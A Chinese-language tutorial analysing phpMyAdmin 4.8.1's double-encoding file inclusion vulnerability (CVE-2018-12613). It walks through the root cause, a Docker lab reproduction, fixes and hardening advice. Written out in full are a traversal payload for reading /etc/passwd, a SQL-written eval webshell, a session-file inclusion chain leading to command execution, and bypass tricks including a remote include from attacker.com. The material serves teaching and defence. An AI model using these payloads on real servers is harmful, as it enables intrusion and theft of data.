1. 项目概述今天我们来拆解一个在Web安全领域特别是针对数据库管理工具的经典漏洞案例phpMyAdmin 4.8.1版本的远程文件包含漏洞也就是CVE-2018-12613。这个漏洞之所以经典不仅因为phpMyAdmin作为全球最流行的MySQL/MariaDB Web管理工具其用户基数庞大更因为它巧妙地利用了“二次编码”这种绕过技术击穿了一个看似严密的防御逻辑。对于从事Web开发、运维和安全研究的朋友来说理解这个漏洞的成因、利用方式和修复方案是提升代码安全意识和防御能力的一次绝佳实战。简单来说这个漏洞允许攻击者在未授权或低权限的情况下通过构造特殊的URL参数让phpMyAdmin的服务器去包含并执行一个本不应被访问的远程或本地文件。想象一下你家的门锁安全校验设计上只能识别特定形状的钥匙合法参数但攻击者通过给钥匙套上两层不同颜色的塑料壳二次编码让锁芯的识别机制产生了误判最终打开了房门。这个漏洞的核心就在于index.php文件中对target参数的处理逻辑存在缺陷而二次URL编码成为了打开这扇“后门”的钥匙。接下来我会带你从代码层面一步步还原攻击路径并分享在实际渗透测试和代码审计中如何发现并验证这类问题的思路与技巧。2. 漏洞原理深度解析要真正理解CVE-2018-12613我们不能停留在“有个参数能传文件路径”的层面必须深入到phpMyAdmin 4.8.1版本中index.php的源代码逻辑里。我当年在分析这个漏洞时第一感觉是“这么明显的逻辑问题当初是怎么通过审查的”但结合当时的开发背景和常见的思维定式又觉得这种疏忽其实很有代表性。2.1 核心漏洞代码定位漏洞的根源位于index.php文件中具体是处理target参数的部分。这个参数通常用于在phpMyAdmin的框架内进行页面跳转或加载特定功能模块。在安全版本中开发者意识到直接包含用户传入的target值是危险的因此加入了一个白名单校验函数Core::checkPageValidity()。我们先来看一段简化后的、存在问题的关键代码逻辑基于真实代码结构还原// index.php 中的相关片段 if (! empty($_REQUEST[target]) is_string($_REQUEST[target]) ! preg_match(/^index/, $_REQUEST[target]) ! in_array($_REQUEST[target], $target_blacklist) Core::checkPageValidity($_REQUEST[target]) ) { include $_REQUEST[target]; exit; }从表面看防御是层层递进的检查参数非空、是字符串、不能以index开头、不在黑名单里最后还要通过Core::checkPageValidity()这个函数的校验。问题就出在最后一步校验与最终包含include这两个操作之间的脱节。2.2Core::checkPageValidity()函数分析这个函数的目的是验证target参数的值是否是一个合法的、允许被包含的脚本文件。它的典型实现逻辑会做以下几件事检查传入的$page参数是否在预定义的白名单数组如db_sql.php,server_status.php等中。为了防止目录遍历Path Traversal它可能会使用basename()函数或类似的字符串处理来尝试获取纯粹的文件名。返回一个布尔值告诉调用者这个页面是否有效。这里存在一个关键的安全误区开发者假设经过checkPageValidity()函数校验后的$page变量就是最终被包含的变量。他们可能认为函数内部会对参数进行“净化”或“标准化”。然而在漏洞版本的实现中checkPageValidity()函数可能只进行了校验而没有修改外部$_REQUEST[target]变量的值。或者它在校验时使用的字符串与最终include语句使用的字符串经历了不同的处理流程。2.3 二次编码绕过的精妙之处现在进入最精彩的部分二次URL编码如何绕过上述检查。URL编码Percent-encoding是将特殊字符转换为%后跟两位十六进制数的形式。例如问号?的编码是%3f。攻击者构造的Payload是这样的db_sql.php%253f/../../../../../../../../etc/passwd我们来分解一下原始意图攻击者想传入的target参数值是db_sql.php?/../../../../etc/passwd。这里的?是一个关键字符。第一次编码将?编码为%3f得到db_sql.php%3f/../../../../etc/passwd。如果服务器直接对这个字符串进行checkPageValidity()校验%3f会被当作普通字符的一部分basename()或白名单匹配可能会失败因为文件名变成了db_sql.php%3f不在白名单内。第二次编码攻击者对第一次编码后的结果中的%符号再次进行编码。%符号本身的URL编码是%25。所以%3f中的%被编码为%25最终变成db_sql.php%253f/../../../../etc/passwd。这就是“二次编码”。绕过过程模拟服务器接收与解码Web服务器如Apache/Nginx收到请求后会对URL进行一次全局的URL解码。于是%253f被解码为%3f。此时$_REQUEST[target]的值在PHP中变成了db_sql.php%3f/../../../../etc/passwd。校验阶段Core::checkPageValidity($_REQUEST[target])函数被调用传入的值是db_sql.php%3f/...。在某些实现中该校验函数可能尝试对参数进行解码发现%3f解码为?得到db_sql.php?/...。然后使用basename()或类似方法获取文件名。basename(db_sql.php?/../../etc/passwd)在PHP中的返回值是db_sql.php因为?在类Unix系统路径中被视为普通字符但basename()函数在遇到?时其行为可能取决于PHP版本和系统在某些环境下它可能会将?及其之后的内容视为查询字符串的一部分而不影响基础文件名提取或者处理异常。更关键的是校验函数可能采用了字符串匹配检查db_sql.php是否在白名单中——答案是肯定的。于是校验通过。包含阶段关键的差异来了。include语句直接使用了$_REQUEST[target]而此时它的值是db_sql.php%3f/../../../../etc/passwd。PHP的include行为当PHP的include/require遇到包含%3f即?的路径时在某些配置下如allow_url_include特定情况或特定PHP版本对包含流包装器的处理?会被解释为路径分隔符或触发特殊的包装器逻辑。路径db_sql.php?/../../../../etc/passwd可能被解析为先定位到db_sql.php文件这是一个合法的phpMyAdmin脚本但将?之后的部分/../../../../etc/passwd附加到某个基础路径之后最终指向了系统的/etc/passwd文件。这就成功实现了目录遍历和文件包含。注意这里?被当作“伪目录分隔符”的行为是PHP在特定场景下处理包含路径时的一个特性与通过Web服务器访问URL时?作为查询字符串分隔符的行为不同。这正是漏洞利用的另一个巧妙点。2.4 漏洞利用的影响与范围成功利用此漏洞攻击者可以读取服务器上的任意文件如/etc/passwd、数据库配置文件config.inc.php、源代码、日志文件等导致敏感信息泄露。在服务器上执行任意代码这是更危险的后果。如果攻击者能够将恶意PHP代码写入服务器上的某个文件例如通过MySQL的SELECT ... INTO OUTFILE功能如果权限允许或者包含一个已存在的会话文件/tmp/sess_xxx并在其中注入PHP代码就可以通过包含该文件来执行任意命令完全控制Web服务器。这个漏洞的利用条件相对较低只要能够访问phpMyAdmin的登录页面无论是否成功认证就可以发起攻击。对于使用默认配置或弱密码的phpMyAdmin实例风险极高。3. 漏洞环境搭建与复现实操理解了原理我们最好亲手搭建环境复现一遍这比看十遍文章都管用。我推荐使用Docker它能快速创建一个干净、隔离的漏洞环境避免污染你的主机。3.1 环境准备首先确保你的系统安装了Docker和Docker Compose。然后创建一个工作目录例如cve-2018-12613。在工作目录中创建docker-compose.yml文件内容如下version: 3 services: phpmyadmin: image: vulhub/phpmyadmin:4.8.1 ports: - 8080:80 environment: - PMA_HOSTdb db: image: mysql:5.7 environment: - MYSQL_ROOT_PASSWORDroot - MYSQL_DATABASEtest这个配置使用了Vulhub项目维护的漏洞镜像非常方便。它启动了两个容器一个运行存在漏洞的phpMyAdmin 4.8.1另一个运行MySQL 5.7数据库作为后端。3.2 启动漏洞环境在终端中进入工作目录执行命令docker-compose up -d等待片刻Docker会拉取镜像并启动容器。你可以使用docker ps命令查看容器是否正常运行。3.3 漏洞复现步骤访问phpMyAdmin打开浏览器访问http://你的服务器IP:8080。你会看到phpMyAdmin的登录界面。在这个漏洞环境中通常配置了test用户或无密码的root用户登录或者直接以“config”模式运行无需登录。请根据环境说明操作本例中Vulhub镜像通常为config模式直接点击进入即可。构造攻击URL在登录后的任意页面我们需要修改URL中的参数。漏洞触发点在index.php的target参数。构造如下URL将your-ip替换为你的实际IP或localhosthttp://your-ip:8080/index.php?targetdb_sql.php%253f/../../../../../../../../etc/passwd注意这里是%253f即问号?的二次编码%-%25?-3f 所以%3f-%253f。发送请求在浏览器地址栏输入上述URL并访问。观察结果成功利用如果页面显示了Linux系统/etc/passwd文件的内容包含root:x:0:0...等行恭喜你远程文件包含漏洞复现成功这证明了攻击者可以读取服务器上的任意文件。失败可能如果页面报错如“无法包含文件”、空白或跳转回首页可能原因有a) 你的PHP环境配置如allow_url_include禁止了这种包含方式b) 路径深度../../../../的个数需要调整c) 某些安全模块如Suhosin拦截了请求。可以尝试增加或减少..的层级或者尝试包含一个Web目录下已知存在的文件如/var/www/html/index.php。3.4 进阶利用执行任意代码RCE读取文件只是第一步获得代码执行能力才是终极目标。在phpMyAdmin环境下一个常见的RCE利用链如下通过SQL查询写入WebShell在phpMyAdmin的SQL执行界面执行以下语句假设你知道Web目录的绝对路径例如/var/www/htmlSELECT ?php eval($_POST[cmd]);? INTO OUTFILE /var/www/html/shell.php;这行命令尝试将一段简单的PHP Webshell代码写入Web目录。但是这通常需要MySQL数据库用户拥有FILE权限并且MySQL配置中的secure_file_priv选项允许向该目录写入文件。在实际漏洞利用中这两个条件往往比较苛刻。利用Session文件包含更可行 这是当时更流行的利用方式因为它对权限要求更低。步骤一生成Session文件。在phpMyAdmin中执行一条包含PHP代码的查询例如SELECT ?php phpinfo(); ?;步骤二获取Session ID。查看浏览器Cookie找到名为phpMyAdmin的Cookie值这就是你的Session ID例如kuk4p5o3l2i7n1c6m9e8s2。步骤三查找Session文件路径。PHP的Session文件通常存储在/tmp、/var/lib/php/sessions等目录文件名格式为sess_[Session ID]。所以文件路径可能是/tmp/sess_kuk4p5o3l2i7n1c6m9e8s2。步骤四包含Session文件。构造URLhttp://your-ip:8080/index.php?targetdb_sql.php%253f/../../../../../../../../tmp/sess_kuk4p5o3l2i7n1c6m9e8s2如果成功页面将显示phpinfo()的信息证明代码已被执行。你可以将phpinfo()替换为更危险的函数如system($_GET[‘c’])从而实现命令执行。实操心得在真实渗透测试中Session文件路径可能需要猜测或通过信息泄露获取。如果phpinfo()页面可用可以直接查看session.save_path的配置。此外写入的PHP代码可能会因为Session文件的格式前面有序列化数据而执行异常通常需要用?闭合前面的序列化数据或者确保你的代码能被正确解析。多尝试几种Payload是必要的。4. 漏洞修复方案与安全启示phpMyAdmin官方在收到漏洞报告后迅速发布了修复版本。修复的核心思路是堵住校验与执行之间的缝隙。4.1 官方修复代码分析官方修复主要围绕Core::checkPageValidity()函数及其调用方式。修复后的逻辑通常包含以下关键点统一解码与校验入口在index.php中在调用Core::checkPageValidity()之前先对$_REQUEST[‘target’]进行一次规范的URL解码使用urldecode()函数确保后续校验和包含操作处理的是同一个“纯净”的字符串。强化校验函数内部逻辑在Core::checkPageValidity()函数内部加强了对输入参数的过滤。例如严格验证解码后的字符串是否仅包含允许的字符更稳健地处理路径遍历符号../确保返回的布尔值能真实反映最终包含操作的安全性。使用校验后的安全值最根本的修复是include语句不再直接使用原始的$_REQUEST[‘target’]而是使用经过Core::checkPageValidity()函数校验并可能返回的一个“安全”的、经过处理的页面标识符。或者在checkPageValidity()返回true后根据白名单映射到一个确定的、安全的文件路径再进行包含。例如修复后的伪代码可能类似于$target $_REQUEST[target] ?? ; $target urldecode($target); // 先统一解码 if (Core::checkPageValidity($target)) { // checkPageValidity 内部可能已经进行了严格的过滤和映射 $safe_page Core::getValidPage($target); // 获取白名单对应的真实安全路径 include $safe_page; exit; }4.2 给开发者的安全启示这个漏洞给所有Web开发者上了一堂生动的安全课输入验证的“一致性”原则对用户输入的验证、过滤和使用必须在同一个上下文和相同的编码状态下进行。绝不能像这个漏洞一样校验时看的是A解码一次后的字符串执行时用的却是B原始编码或不同解码状态的字符串。任何解码、规范化操作都应在验证逻辑开始前完成。白名单优于黑名单尽管漏洞代码中似乎也有白名单检查但其实现被绕过了。设计白名单时名单必须尽可能小匹配规则必须严格如完全匹配而非部分匹配并且最终操作必须基于白名单映射的值而非用户输入。警惕编码问题URL编码、双重编码、Unicode编码、UTF-7编码等都可能被用来绕过安全检查。在处理任何用户输入时要明确知道你的应用程序在哪个环节进行解码解码几次以及不同组件Web服务器、PHP引擎、自定义函数之间解码的差异。文件包含操作的危险性除非绝对必要否则应避免使用动态包含用户输入或间接用户输入的文件路径。如果必须使用应将其限制在特定的、安全的目录内使用basename()并拼接固定目录前缀并禁止包含远程文件allow_url_include务必设置为Off。深度防御不要依赖单一的安全检查。即使有了输入验证也要在操作系统层面配置好Web服务器的权限如PHP以低权限用户运行限制其访问敏感目录的能力。4.3 运维人员加固建议如果你正在运维使用phpMyAdmin的服务应立即采取以下措施立即升级将phpMyAdmin升级到最新版本。官方早已修复此漏洞新版本还包含其他安全改进。最小化安装与访问控制若非必需不要将phpMyAdmin部署在公网可访问的位置。如果必须公开请使用强密码并考虑通过IP白名单、HTTP Basic认证、或将其放在VPN/VPC内部等方式进行二次访问控制。修改phpMyAdmin的默认路径不要使用/phpmyadmin这样常见的路径。配置PHP安全选项在php.ini中确保以下配置allow_url_fopen Off allow_url_include Off open_basedir /your/web/root:/tmp (根据需要设置限制PHP可访问的目录)配置Web服务器权限确保运行PHP-FPM或Apache的用户权限尽可能低无法读取系统关键文件如/etc/passwd,/etc/shadow。5. 从漏洞分析到代码审计的思维延伸分析完CVE-2018-12613我们不应该止步于此。这个案例为我们提供了一套分析类似文件包含漏洞的“方法论”。5.1 代码审计中如何寻找此类漏洞定位关键函数/语句在PHP项目中全局搜索include,require,include_once,require_once以及file_get_contents(),readfile(),fopen()等文件操作函数。重点关注那些包含变量作为参数的调用。回溯变量来源一旦找到可疑的包含语句立即回溯那个变量例如$_REQUEST[‘target’]的传递路径。它从哪里来是直接来自$_GET/$_POST/$_REQUEST还是经过了某些处理分析过滤逻辑仔细检查变量在到达包含点之前经历了哪些过滤、校验、解码或转换函数。画出简单的数据流图。寻找“差异点”这是核心。对比过滤校验时变量的状态和最终被使用时变量的状态是否存在差异差异可能来源于编码差异校验前解码了使用时没解码或者相反。校验时解码一次使用时又解码一次双重解码。过滤函数被绕过常见的如str_replace(‘../’, ”, $input)可以被….//绕过stripslashes()在特定配置下可能产生问题黑名单列表不完整。逻辑漏洞校验函数返回true但并不代表输入完全安全可能只检查了部分条件。或者存在多个包含点只有部分被保护。5.2 漏洞利用技巧的通用性二次编码绕过不仅限于?对于任何在URL中有特殊含义的字符,,#,%,/,\等都可以尝试二次甚至多次编码观察应用程序处理逻辑的差异。这种技巧在绕过WAFWeb应用防火墙的规则时也时常有效。路径遍历的“花样”除了经典的../还可以尝试绝对路径/etc/passwdURL编码..%2f(%2f是/)双重编码..%252fWindows下的路径..\、..%5c(%5c是\)空字节截断PHP 5.3.4/etc/passwd%00(但需要magic_quotes_gpcoff)利用PHP流包装器如果allow_url_include为On极不推荐可以直接包含远程文件http://attacker.com/shell.txt。即使为Off也可以尝试php://input读取POST原始数据执行、php://filter用于读取文件源码如php://filter/convert.base64-encode/resourceconfig.inc.php等包装器。5.3 防御策略的层次化思考面对文件包含漏洞防御必须层层设卡输入层严格白名单。定义一组允许的页面名称或动作标识符只允许传入这些值。处理层早解码早净化在入口处统一对输入进行解码和标准化。使用绝对路径基于白名单将用户输入映射到服务器上的绝对文件路径如$safe_path WEB_ROOT . ‘/includes/’ . $whitelist[$input];。路径检查在使用前用realpath()函数解析路径并检查解析后的路径是否在以Web根目录为前缀的合法范围内。配置层如前所述关闭危险的PHP配置选项设置open_basedir。运行时层使用安全模块如Suhosin, ModSecurity部署针对路径遍历、文件包含的通用规则。CVE-2018-12613虽然是一个具体的漏洞但它折射出的安全开发理念是普适的。每一次对漏洞的深入剖析都是对我们自身安全编码习惯的一次审视和加固。在实战中保持对用户输入的不信任对数据流的一致性的警惕以及采用最小权限原则是构建稳健应用的基石。